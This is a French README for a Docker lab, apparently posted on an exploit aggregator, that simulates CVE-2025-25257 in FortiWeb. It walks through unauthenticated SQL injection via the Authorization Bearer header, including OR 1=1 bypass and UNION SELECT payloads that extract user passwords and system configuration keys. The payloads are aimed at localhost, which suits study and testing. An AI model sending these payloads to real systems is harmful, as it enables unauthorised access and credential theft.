Share
## https://sploitus.com/exploit?id=9C0DDEA0-7DB7-5C40-83C5-724C9BFA63CE
# CVE-2025-25257 - Environnement d'Expérimentation
Architecture de l'Expérimentation (l'environnement simule les composants vulnérables de FortiWeb)
Endpoint vulnérable : /api/system/fabric/config
Vecteur d'injection : Header HTTP Authorization: Bearer
Mécanisme : Concaténation SQL directe (f-string Python)
Authentification : Aucune (bypass total)
Base de données : SQLite (pour démonstration)
cve-2025-25257
âââ Dockerfile
âââ docker-compose.yml
âââ requirements.txt
âââ app.py
âââ init_db.py
âââ payload.txt
âââ README.md
# Ătape 1 : Construire et lancer le conteneur
## Construction de l'image Docker
docker-compose build
## Démarrage du conteneur
docker-compose up -d
## Vérifier que le conteneur est actif
docker-compose ps
## Consulter les logs
docker-compose logs -f
# Ătape 2 : VĂ©rifier l'accessibilitĂ© du service
curl http://localhost:8080/api/system/status
# Ătape 3 : Exploitation de la vulnĂ©rabilitĂ©
## RequĂȘte non malveillante
curl -X POST http://localhost:8080/api/system/fabric/config \
-H "Content-Type: application/json" \
-H "Authorization: Bearer valid_token_001"
## Injection requĂȘte SQL malveillante Bypass avec OR 1=1
curl -X POST http://localhost:8080/api/system/fabric/config \
-H "Content-Type: application/json" \
-H "Authorization: Bearer ' OR '1'='1"
## Extraction de données avec injection UNION-SELECT
curl -X POST http://localhost:8080/api/system/fabric/config \
-H "Content-Type: application/json" \
-H "Authorization: Bearer ' UNION SELECT id, username, password, role, email, NULL FROM users--"
## Exfiltration des données sensibles
curl -X POST http://localhost:8080/api/system/fabric/config \
-H "Content-Type: application/json" \
-H "Authorization: Bearer ' UNION SELECT id, key, value, description, '2025-01-01',NULL FROM system_config--"
# Ătape 4 : Nettoyage et ArrĂȘt
## ArrĂȘter le conteneur
docker-compose down
## Supprimer les volumes
docker-compose down -v
## Supprimer l'image
docker rmi cve-2025-25257-lab-fortiweb-vulnerable:latest